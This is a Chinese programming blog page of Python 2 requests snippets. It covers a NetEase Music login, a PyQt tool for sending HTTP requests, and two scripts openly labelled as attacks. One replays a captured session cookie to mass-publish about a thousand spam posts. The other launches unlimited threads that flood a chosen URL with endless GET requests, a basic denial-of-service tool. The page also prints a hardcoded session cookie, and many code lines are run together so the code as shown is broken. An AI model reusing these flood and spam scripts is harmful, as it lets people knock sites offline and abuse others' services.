Python requests模拟登录
Python requests模拟登录
#!/usr/bin/env python
# encoding: UTF-8
import json
import requests # 跟urllib,urllib2类似,
import hashlib default_timeout = 10 class NetEase:
def __init__(self):
self.header = {
'Accept': '*/*',
'Accept-Encoding': 'gzip,deflate,sdch',
'Accept-Language': 'zh-CN,zh;q=0.8,gl;q=0.6,zh-TW;q=0.4',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded',
'Host': 'music.163.com',
'Referer': 'http://music.163.com/search/',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36'
}
self.cookies = {
'appver': '1.5.2'
} def httpRequest(self, method, action, query=None, urlencoded=None, callback=None, timeout=None):
if (method == 'GET'):
## url = action if (query == None) else (action + '?' + query)
connection = requests.get(action, headers=self.header, timeout=default_timeout, params=query) elif (method == 'POST'):
connection = requests.post(
action,
data=query,
headers=self.header,
timeout=default_timeout
) connection.encoding = "UTF-8"
connection = json.loads(connection.text)
return connection # 登录
def login(self, username, password):
action = 'http://music.163.com/api/login/'
data = {
'username': username,
'password': hashlib.md5(password).hexdigest(),
'rememberLogin': 'true'
}
try:
return self.httpRequest('POST', action, data)
except Exception, e:
return {'code': 501} Login = NetEase()
data = Login.login('User','UserPassWord')
if data['code']==200:
print('登录成功, UserId:'+str(data['account']['id']))
else:
print('登录错误,错误Code:'+str(data['code']))
结果:
登录成功, UserId:18772773
登录错误,错误Code:502
Pyqt 模拟提交Post Get 数据
代码:
#!/usr/bin/python
# -*-coding:utf-8-*-
from PyQt4.QtGui import *
from PyQt4.QtCore import *
import requests, sys reload(sys)
sys.setdefaultencoding("utf-8") # 主入口文件
class MainWidget(QDialog):
def __init__(self, parent=None):
super(MainWidget, self).__init__(parent)
self.setMinimumSize(100, 100)
self.setWindowFlags(Qt.CustomizeWindowHint | Qt.WindowCloseButtonHint)
self.setWindowOpacity(0.7) # URL
self.urllabel = QLabel(u'提交URL:')
self.url = QLineEdit(u'')
self.methodtype = QComboBox()
self.methodtype.addItem('POST')
self.methodtype.addItem('GET')
self.UrlLoayout = QHBoxLayout()
self.UrlLoayout.addWidget(self.urllabel)
self.UrlLoayout.addWidget(self.url)
self.UrlLoayout.addSpacing(20) # 添加一个20px的空间距离 且不带弹性
self.UrlLoayout.addWidget(self.methodtype) # 添加头部group
self.headDict = {}
self.headPostArrayKey = 0
self.HeadGroupBox = QGroupBox(u'头部数据')
self.HeadGroupBox.setMinimumHeight(200) # 高度最小值 self.HeadAddParam = QPushButton(u'+')
self.headDict[str(self.headPostArrayKey) + '_key'] = QLineEdit()
self.headDict[str(self.headPostArrayKey) + '_value'] = QLineEdit()
self.HeadGroupBoxLayout = QGridLayout()
self.HeadGroupBoxLayout.addWidget(self.HeadAddParam, 0, 0)
self.HeadGroupBoxLayout.addWidget(QLabel(u'Key:'), 1, 0)
self.HeadGroupBoxLayout.addWidget(self.headDict[str(self.headPostArrayKey) + '_key'], 1, 1)
self.HeadGroupBoxLayout.addWidget(QLabel(u'Value:'), 1, 2)
self.HeadGroupBoxLayout.addWidget(self.headDict[str(self.headPostArrayKey) + '_value'], 1, 3)
self.HeadGroupBox.setLayout(self.HeadGroupBoxLayout)
self.HeadAddParam.clicked.connect(self.addHeadParam) # 添加Body group
self.bodyDict = {}
self.bodyPostArrayKey = 0
self.BodyGroupBox = QGroupBox(u'正文数据')
self.BodyGroupBox.setMinimumHeight(200)
self.BodyAddParam = QPushButton(u'+')
self.bodyDict[str(self.bodyPostArrayKey) + '_key'] = QLineEdit(u'')
self.bodyDict[str(self.bodyPostArrayKey) + '_value'] = QLineEdit(u'')
self.BodyGroupBoxLayout = QGridLayout()
self.BodyGroupBoxLayout.addWidget(self.BodyAddParam, 0, 0)
self.BodyGroupBoxLayout.addWidget(QLabel(u'Key:'), 1, 0)
self.BodyGroupBoxLayout.addWidget(self.bodyDict[str(self.bodyPostArrayKey) + '_key'], 1, 1)
self.BodyGroupBoxLayout.addWidget(QLabel(u'Value:'), 1, 2)
self.BodyGroupBoxLayout.addWidget(self.bodyDict[str(self.bodyPostArrayKey) + '_value'], 1, 3)
self.BodyGroupBox.setLayout(self.BodyGroupBoxLayout)
self.BodyAddParam.clicked.connect(self.addBodyParam) # 提交按钮
self.btnPost = QPushButton(u'提交')
self.postbtnLoayout = QHBoxLayout()
self.postbtnLoayout.addStretch()
self.postbtnLoayout.addWidget(self.btnPost) # Main布局
main_layout = QVBoxLayout()
main_layout.addLayout(self.UrlLoayout)
main_layout.addWidget(self.HeadGroupBox)
main_layout.addWidget(self.BodyGroupBox) # addWidget 添加的是Qobject
main_layout.addLayout(self.postbtnLoayout) # addLayout 添加的是 Layout main_layout.setSpacing(0)
self.setLayout(main_layout)
self.connect(self.btnPost, SIGNAL('clicked()'), self.postData) # 发送数据
def postData(self):
self.headdictdata = {}
self.bodydictdata = {}
LOOPpar1 = {'': self.headDict.items(), 2: self.bodyDict.items()}
LOOPpar2 = {'': self.headdictdata, 2: self.bodydictdata}
for Looptype in LOOPpar1:
for k, v in LOOPpar1[Looptype]:
temp = k.split('_')
if temp[1] == 'key':
if LOOPpar2[Looptype].has_key(temp[0]):
LOOPpar2[Looptype][temp[0]]['key'] = str(v.text())
else:
LOOPpar2[Looptype][temp[0]] = {'key': str(v.text())} elif temp[1] == 'value':
if LOOPpar2[Looptype].has_key(temp[0]):
LOOPpar2[Looptype][temp[0]]['value'] = str(v.text())
else:
LOOPpar2[Looptype][temp[0]] = {'value': str(v.text())} url = self.url.text()
method = self.methodtype.currentText()
if not url:
QMessageBox.warning(self, u'notice', 'URL must fill in', QMessageBox.Yes)
self.url.cursor()
return False
self.Theading = TheadingPost({'url': str(url), 'method': str(method), 'headdictdata': self.headdictdata,
'bodydictdata': self.bodydictdata})
self.connect(self.Theading, SIGNAL("updateresult"), self.updateResult) # 创建一个信号,在线程状态结果时发射触发
self.Theading.start() # 线程开始 def updateResult(self, resdata):
if resdata['status'] == 1:
QMessageBox.about(self, u"返回数据", str(resdata['msg']))
else:
QMessageBox.warning(self, u'错误提示!', str(resdata['msg']), QMessageBox.Yes) # 添加头部Data
def addHeadParam(self):
sts = str(self.headPostArrayKey + 1)
self.headDict[sts + '_key'] = QLineEdit()
self.headDict[sts + '_value'] = QLineEdit()
self.HeadGroupBoxLayout.addWidget(QLabel(u'Key:'))
self.HeadGroupBoxLayout.addWidget(self.headDict[sts + '_key'])
self.HeadGroupBoxLayout.addWidget(QLabel(u'Value:'))
self.HeadGroupBoxLayout.addWidget(self.headDict[sts + '_value'])
self.headPostArrayKey += 1 # 添加Body Data
def addBodyParam(self):
sts = str(self.bodyPostArrayKey + 1)
self.bodyDict[sts + '_key'] = QLineEdit()
self.bodyDict[sts + '_value'] = QLineEdit() self.BodyGroupBoxLayout.addWidget(QLabel(u'Key:'))
self.BodyGroupBoxLayout.addWidget(self.bodyDict[sts + '_key'])
self.BodyGroupBoxLayout.addWidget(QLabel(u'Value:'))
self.BodyGroupBoxLayout.addWidget(self.bodyDict[sts + '_value'])
self.bodyPostArrayKey += 1 # 线程提交类
class TheadingPost(QThread):
def __init__(self, dict):
super(TheadingPost, self).__init__()
self.dict = dict def run(self):
self.action = self.dict['url']
self.headerdict = self.dict['headdictdata'].values()
self.datadict = self.dict['bodydictdata'].values()
self.header = {}
for hv in self.headerdict:
self.header[hv['key']] = hv['value']
self.data = {}
for dv in self.datadict:
self.data[dv['key']] = dv['value']
self.method = self.dict['method']
result = {}
result['status'] = 0
try:
returndata = self.httpRequest(self.method, self.action, self.data)
result['status'] = 1
result['msg'] = returndata
except Exception, e:
result['status'] = 2
result['msg'] = e self.emit(SIGNAL("updateresult"), result) def httpRequest(self, method, action, query=None):
default_timeout = 10
if (method == 'GET'):
print('sd')
# url = action if (query == None) else (action + '?' + query)
connection = requests.get(action, headers=self.header, timeout=default_timeout, params=query)
elif (method == 'POST'):
connection = requests.post(
action,
data=query,
headers=self.header,
timeout=default_timeout
)
connection.encoding = "UTF-8"
return connection.text if __name__ == "__main__":
app = QApplication(sys.argv)
main_widget = MainWidget()
main_widget.show()
sys.exit(app.exec_())
效果:

Requests请求攻击N次方
# -*- coding: UTF8 -*-
import json, time
import requests # 跟urllib,urllib2类似,
import hashlib
'''
通过Fiddler 获取POST 请求数据以及url 模拟攻击请求 ''' default_timeout = 10
Chinese_truth='''
<p> 惟一经 勤有功 戏无益<br />戒之哉 宜勉力</p>
'''
class Blog:
def __init__(self):
self.header = {
'Accept': 'text/html, application/xhtml+xml, */*',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN',
'Connection': 'keep-alive',
'Content-Length': '',
'Content-Type': 'application/x-www-form-urlencoded',
'Host': 'i.blog.com',
'DNT': '',
'Cookie': '_ga=GA1.2.1424877390.1410319541; __gads=ID=334e00c33dad0ab8:T=1410319451:S=ALNI_Mag0cSHb4q1GHVu3wgmh0s9Urb43w; _gat=1; .Cookie=991B7FBD8D86CEF8AD2B649374088AD5E26700DADDE9C66394CD2DD4F1B365813DCBE7E202970ABBB426A0495C082EAD152F827581DD10B8AF6A2A1D85A045B295266B39B7A56F5B7537282220081E5A96A779C8; SERVERID=cd834d867596395032ab14c190885cfa|1435568930|1435568862',
'Referer': 'i.blog.com/EditPosts.asp?opt=1',
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
'Pragma':'no-cache'
} def httpRequest(self, method, action, query=None, urlencoded=None, callback=None, timeout=None):
if (method == 'GET'):
url = action if (query == None) else (action + '?' + query)
connection = requests.get(url, headers=self.header, timeout=default_timeout)
elif (method == 'POST'):
connection = requests.post(
action,
data=query,
headers=self.header,
timeout=default_timeout
)
connection.encoding = "UTF-8"
connection = json.loads(connection.text)
return connection def truth(self,num):
action = 'http://i.blog.com/EditPost.asp?opt=1'
data = {
'__VIEWSTATE': '',
'__VIEWSTATEGENERATOR':'FE27D355',
'Editor$Edit$txbTitle': 'Test.'+str(num),
'Editor$Edit$EditorBody': '<p>'+Chinese_truth+'</p>',
'Editor$Edit$Advanced$txbEntryName': '',
'Editor$Edit$Advanced$txbExcerpt': '',
'Editor$Edit$Advanced$txbTag': '',
'Editor$Edit$Advanced$tbEnryPassword': '',
'Editor$Edit$lkbPost': '发布'
}
time.sleep(0.5)
try:
return self.httpRequest('POST', action, data)
except Exception, e:
return {'code': e} Classical = Blog()
for i in range(3000, 4000):
print(i)
data = Classical.truth(i)
requests 使用线程代码
# -*- coding: UTF8 -*-
import threading
import requests def attack(index, url):
cnt = 0
while True:
cnt += 1
x = requests.get(url)
print("[%d] == %d || %s\r"%(index, cnt, x.content.decode('utf-8')[0:50])) if __name__ == "__main__":
url = input("Input the URL: ")
x = int(input("Input the amount of threads: ")) pool = []
for i in range(x):
pool.append(threading.Thread(target = attack, args = (i, url))) print("Start attack....")
for i in range(x):
pool[i].start()
Python requests模拟登录的更多相关文章
- 【爬虫】python requests模拟登录知乎
需求:模拟登录知乎,因为知乎首页需要登录才可以查看,所以想爬知乎上的内容首先需要登录,那么问题来了,怎么用python进行模拟登录以及会遇到哪些问题? 前期准备: 环境:ubuntu,python2. ...
- 用python实现模拟登录人人网
用python实现模拟登录人人网 字数4068 阅读1762 评论19 喜欢46 我决定从头说起.懂的人可以快速略过前面理论看最后几张图. web基础知识 从OSI参考模型(从低到高:物理层,数据链路 ...
- 使用Python+Selenium模拟登录QQ空间
使用Python+Selenium模拟登录QQ空间爬QQ空间之类的页面时大多需要进行登录,研究QQ登录规则的话,得分析大量Javascript的加密解密,这绝对能掉好几斤头发.而现在有了seleniu ...
- Python 3.3.3 使用requests模拟登录网站
在模拟登录上,requests确实比python标准库中的相关模块更加简洁. 假设你需要去爬一组页面(targetUrls),而这些页面要登录才能进行访问.那么requests能够提供一种相当简单的语 ...
- 【Python】模拟登录上海西南某高校校园网 (jaccount)
好久没写东西了,最近学习了一下模拟登录,以校园网为例,作一记录. 去年的时候写过一篇模拟登录的文章,用的是登录后的cookies,这种操作比较傻瓜,也不智能,不够自动化,本质还是手动登录. 这次我尝试 ...
- python爬虫模拟登录的图片验证码处理和会话维持
目标网站:古诗文网 登录界面显示: 打开控制台工具,输入账号密码,在ALL栏目中进行抓包 数据如下: 登录请求的url和请求方式 登录所需参数 参数分析: __VIEWSTATE和__VIEWSTAT ...
- python实现模拟登录【转】
原文网址:http://www.blogjava.net/hongqiang/archive/2012/08/01/384552.html 本文主要用python实现了对网站的模拟登录.通过自己构造p ...
- python实现模拟登录
本文主要用python实现了对网站的模拟登录.通过自己构造post数据来用Python实现登录过程. 当你要模拟登录一个网站时,首先要搞清楚网站的登录处理细节(发了什么样的数据,给谁发等...). ...
- Python爬虫模拟登录带验证码网站
问题分析: 1.爬取网站时经常会遇到需要登录的问题,这是就需要用到模拟登录的相关方法.python提供了强大的url库,想做到这个并不难.这里以登录学校教务系统为例,做一个简单的例子. 2.首先得明白 ...
随机推荐
- jQuery链式操作[转]
用过jQuery的朋友都知道他强大的链式操作,方便,简洁,易于理解,如下 $("has_children").click(function(){ $(this).addClass( ...
- Mysql 命令大全
1.连接Mysql 格式: mysql -h主机地址 -u用户名 -p用户密码1.连接到本机上的MYSQL.首先打开DOS窗口,然后进入目录mysql\bin,再键入命令mysql -u root - ...
- java高新技术-java5的静态导入与编译器语法设置
静态导入 import语句可以导入一个类或某个包中的所有类 import static 语句导入有一个类中的某个静态方法或所有静态方法 使用Math.random() 可以这样做 package co ...
- JavaScript中URL的解码和编码
这些URI方法encodeURI.encodeURIComponent().decodeURI().decodeURIComponent()代替了BOM的escape()和unescape()方法. ...
- transition
transition: all 所有属性都将获得过渡效果. property 定义应用过渡效果的 CSS 属性名称列表,列表以逗号分隔 transition-duration 规定完成过渡效果需要多少 ...
- 点评前端开发工具cortex安装使用方法
cortex安装方法: 安装最新版 sudo npm install -g cortex cortex config set registry http://registry.cortexjs.org ...
- Windows 基础知识2
1.进程通信的几种方式 管道:匿名,命名 信号 报文 共享内存 信号量:主要作为进程和同一进程的线程同步的方式 套接字 2.线程通信的几种方式: 临界区,信号量.互斥量.事件. 信号量:它允许多个线程 ...
- springmvc @PathVariable("b") double b 丢失精度问题
Spring MVC从3.0开始支持REST,而主要就是通过@PathVariable来处理请求参数和路径的映射.由于考虑到SEO的缘故,很多人喜欢把新闻的名称作为路径中的一部分去处理,这时候中文的名 ...
- C#利用System.Net发送邮件(带 抄送、密送、附件、html格式的邮件)
net2.0后,C#可以利用System.Net发送邮件了. 代码整理如下: 3. 增加IProcessMessage类,定义了一个消息方法,用于消息传递 /********************* ...
- Java学习笔记11
package welcome; import java.util.Scanner; /* * 代数问题:求解2x2线性方程 */ public class ComputeLinearEquation ...